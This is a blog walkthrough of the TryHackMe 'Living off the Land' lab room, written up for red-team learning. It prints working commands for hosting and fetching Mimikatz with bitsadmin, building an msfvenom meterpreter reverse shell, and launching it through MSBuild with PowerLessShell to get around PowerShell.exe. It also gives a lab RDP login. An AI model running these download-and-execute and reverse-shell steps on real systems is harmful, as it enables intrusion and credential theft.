Living off the Land THM Walkthrough

3 min readMay 2, 2023

TL;DR Walkthrough of the TryHackMe Living off the Land room, part of the Red Team Pathway.

A full list of our TryHackMe walkthroughs and cheatsheets is here.


Living off the Land is one of the rooms in the THM Red Team Pathway that piqued my interest, so I figured I’d post my notes on it. I’m also a big fan of using builtin tools.

Warmup questions

Visit the LOLBAS project’s website and check out its functionalities. Then, using the search bar, find the ATT&CK ID: T1040. What is the binary’s name?


Use the search bar to find more information about MSbuild.exe. What is the ATT&CK ID?


Use the search bar to find more information about Scriptrunner.exe. What is the function of the binary?



Run bitsadmin.exe to download a file of your choice onto the attached Windows VM. Once you have executed the command successfully, an encoded flag file will be created automatically on the Desktop. What is the file name?

#Host files on Kali
cd /home/kali/Downloads/exploits/PowerShell
python3 -m http.server 9000

#Download the file on the Windows victim VM
bitsadmin.exe /transfer /Download /priority Foreground c:\Users\thm\Desktop\Invoke-Mimikatz.ps1


What is the file content?

Set-Location C:\Users\thm\Desktop
certutil -decode .\enc_thm_0YmFiOG_file.txt .\payload.txt
Get-Content .\payload.txt


PowerShell reverse shell without PowerShell.exe

Replicate the steps of the No PowerShell technique to receive a reverse shell on port 4444. Once a connection is established, a flag will be created automatically on the desktop. What is the content of the flag file?

#Generate an obfuscated PS1 reverse shell
cd /home/kali/Downloads/exploits/PowerShell
msfvenom -p windows/meterpreter/reverse_winhttps LHOST= LPORT=4443 -f psh-reflection > liv0ff.ps1

#Download PowerLessShell & convert the PS1 to csproj
git clone
find / -name "" 2>/dev/null

cd /home/kali/Downloads/exploits/PowerShell/PowerLessShell
python2 /home/kali/Downloads/exploits/PowerShell/PowerLessShell/ -type powershell -source ../liv0ff.ps1 -output liv0ff.csproj

You will want to run from the specified directory, otherwise you will likely get an odd error that looks like the below.

Open two new BASH tabs. In one:

cd /home/kali/Downloads/exploits/PowerShell/PowerLessShell
python3 -m http.server 9000

In the other tab:

msfconsole -q -x “use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost;set lport 4443;exploit”

In the original tab:

xfreerdp /v: /u:thm /p:TryHackM3

#On the victim Windows VM

Invoke-WebRequest -OutFile C:\Users\thm\Desktop\livOff.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

Catch the reverse shell in Meterpreter and read the file.



We demonstrated just a couple of the ways out there to run PowerShell without PowerShell.exe here.

We say it all the time; “focus on the privilege, not the tool”. The attacker will just find a different TTP if you spend all your time blocking specific tools. Don’t let the attacker get privileges and it won’t matter what tool they use.

Cybersecurity is ultimately all about Identity and Access Management.


How to find files in BASH:

Suppress errors while searching in BASH:

PowerShellLess on GitHub:




I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.